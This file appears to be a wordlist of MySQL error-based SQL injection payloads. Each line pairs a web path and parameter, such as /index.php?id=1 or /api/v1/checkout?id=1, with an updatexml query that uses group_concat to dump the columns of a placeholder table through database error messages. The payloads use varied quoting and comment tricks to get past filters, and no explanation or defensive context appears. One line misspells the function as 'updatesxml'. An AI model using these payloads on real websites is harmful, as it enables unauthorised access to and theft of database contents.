/index.php?id=1|' and (select * from (select(updatexml(1,concat(0x3a,(select group_concat([KOLOM]) from [TABEL])),1)))a)
/api/users?search=test|' and (select * from (select(updatexml(1,concat(0x3a,(select group_concat([KOLOM]) from [TABEL])),1)))a)
/view.php?type=1| and (select 1 from (select(updatexml(1,concat(0x3a,(select group_concat([KOLOM]) from [TABEL])),1)))x)
/api/v1/products?search=test|" and (select 2 from (select(updatexml(1,concat(0x3a,(select group_concat([KOLOM]) from [TABEL])),1)))y)
/api/items?cat=1| and (select 1 from (select(updatexml(1,concat(0x3a,(select group_concat([KOLOM]) from [TABEL])),1)))x)
/dashboard.php?id=1|' and (select 7544 from (select(updatexml(1,concat(0x3a,(select group_concat([KOLOM]) from [TABEL])),1)))kNzZ) and 'vjXn'='vjXn
/api/v2/news?id=1|' and (select(updatexml(1,concat(0x3a,(select group_concat([KOLOM]) from [TABEL])),1)))#
/products.php?id=1|' xor (select(6217) from (select(updatexml(1,concat(0x3a,(select group_concat([KOLOM]) from [TABEL])),1)))a) xor 'b
/index.php?user=admin|' and 9539=like('ABCDEFG', upper(hex(updatexml(1,concat(0x3a,(select group_concat([KOLOM]) from [TABEL])),1))))--
/admin/login.php?id=1|' and (select 1 from (select(updatexml(1,concat(0x3a,(select group_concat([KOLOM]) from [TABEL])),1)))x)--
/api/v3/auth?user=1|' or (select(updatexml(1,concat(0x3a,(select group_concat([KOLOM]) from [TABEL])),1)))#
/index.php?cat=1| and 2254=updatexml(1,concat(0x3a,(select group_concat([KOLOM]) from [TABEL])),1)--
/main.php?id=1|' and (select 1 from (select(updatexml(1,concat(0x3a,(select group_concat([KOLOM]) from [TABEL])),1)))x)
/api/search?q=test|' union select updatexml(1,concat(0x3a,(select group_concat([KOLOM]) from [TABEL])),1),2,3--
/view/item.php?id=1| and 2212=updatexml(1,concat(0x3a,(select group_concat([KOLOM]) from [TABEL])),1)--
/store.php?id=1|'-(select 6345 from (select(updatexml(1,concat(0x3a,(select group_concat([KOLOM]) from [TABEL])),1)))a)-'
/api/posts?id=1|)+and updatexml(1,concat(0x3a,(select group_concat([KOLOM]) from [TABEL])),1) and (1182=1182
/index.php?id=1| or 2 between 1 and updatexml(1,concat(0x3a,(select group_concat([KOLOM]) from [TABEL])),1)--
/api/v1/details?id=1|' and (select 1 from (select(updatexml(1,concat(0x3a,(select group_concat([KOLOM]) from [TABEL])),1)))x)--
/catalog.php?id=1| and (select 1 from (select(updatexml(1,concat(0x3a,(select group_concat([KOLOM]) from [TABEL])),1)))and 5=5
/api/v4/gate?id=1|' or (select * from (select(updatexml(1,concat(0x3a,(select group_concat([KOLOM]) from [TABEL])),1)))a) union select 1--
/login.php?user=1|')) or (select(updatexml(1,concat(0x3a,(select group_concat([KOLOM]) from [TABEL])),1)))#
/search.php?query=1|' and (select 2323 from (select(updatexml(1,concat(0x3a,(select group_concat([KOLOM]) from [TABEL])),1)))a) and '1'='1
/app/auth?token=1|" or (select 1 from(select(updatexml(1,concat(0x3a,(select group_concat([KOLOM]) from [TABEL])),1)))x) or "1"="1
/index.php?id=1|' and 2212=updatexml(1,concat(0x3a,(select group_concat([KOLOM]) from [TABEL])),1)--
/admin/dash?p=1|' and (select(updatexml(1,concat(0x3a,(select group_concat([KOLOM]) from [TABEL])),1))) order by 1--
/api/v2/items?cat=1|' and (select(updatexml(1,concat(0x3a,(select group_concat([KOLOM]) from [TABEL])),1))) procedure analyse()--
/profile.php?user=1|' and (select 1 from (select(updatexml(1,concat(0x3a,(select group_concat([KOLOM]) from [TABEL])),1)))k) or 'a'='a
/api/v1/checkout?id=1|' or (select * from (select(updatexml(1,concat(0x3a,(select group_concat([KOLOM]) from [TABEL])),1)))b) and '1'='1
/member.php?action=view|' and updatesxml(1,concat(0x3a,(select updatexml(1,concat(0x3a,(select group_concat([KOLOM]) from [TABEL])),1))),1)--
/api/v3/metrics?q=1|' and extractvalue(1,concat(0x3a,(select updatexml(1,concat(0x3a,(select group_concat([KOLOM]) from [TABEL])),1))))--
/cart.php?item=1|' and json_keys((select convert((select updatexml(1,concat(0x3a,(select group_concat([KOLOM]) from [TABEL])),1)) using utf8)))--
/api/v2/auth/login|") or (select 4421 from (select(updatexml(1,concat(0x3a,(select group_concat([KOLOM]) from [TABEL])),1)))x) or ("1"="1
/blog.php?id=1|' and (select 1 from (select(updatexml(1,concat(0x3a,(select group_concat([KOLOM]) from [TABEL])),1)))a) procedure analyse(extractvalue(1,1),1)--
/api/v1/download?file=1|' and (select 1 from(select(updatexml(1,concat(0x3a,(select group_concat([KOLOM]) from [TABEL])),1)))x) union select '1'--
/index.php?page=home|' xor (select 1 from (select(updatexml(1,concat(0x3a,(select group_concat([KOLOM]) from [TABEL])),1)))a) xor '1'='1
/api/v2/track?ip=1|' and 3121=updatexml(1,concat(0x3a,(select group_concat([KOLOM]) from [TABEL])),1)--
/user/update?id=1|')) and (select 1 from (select(updatexml(1,concat(0x3a,(select group_concat([KOLOM]) from [TABEL])),1)))x) and (('1'='1
/api/v3/search?query=test|' or (select 1 from (select(updatexml(1,concat(0x3a,(select group_concat([KOLOM]) from [TABEL])),1)))a) is null--
/gallery.php?id=1|' and (select 1 from (select(updatexml(1,concat(0x3a,(select group_concat([KOLOM]) from [TABEL])),1)))a) in (1,2,3)--
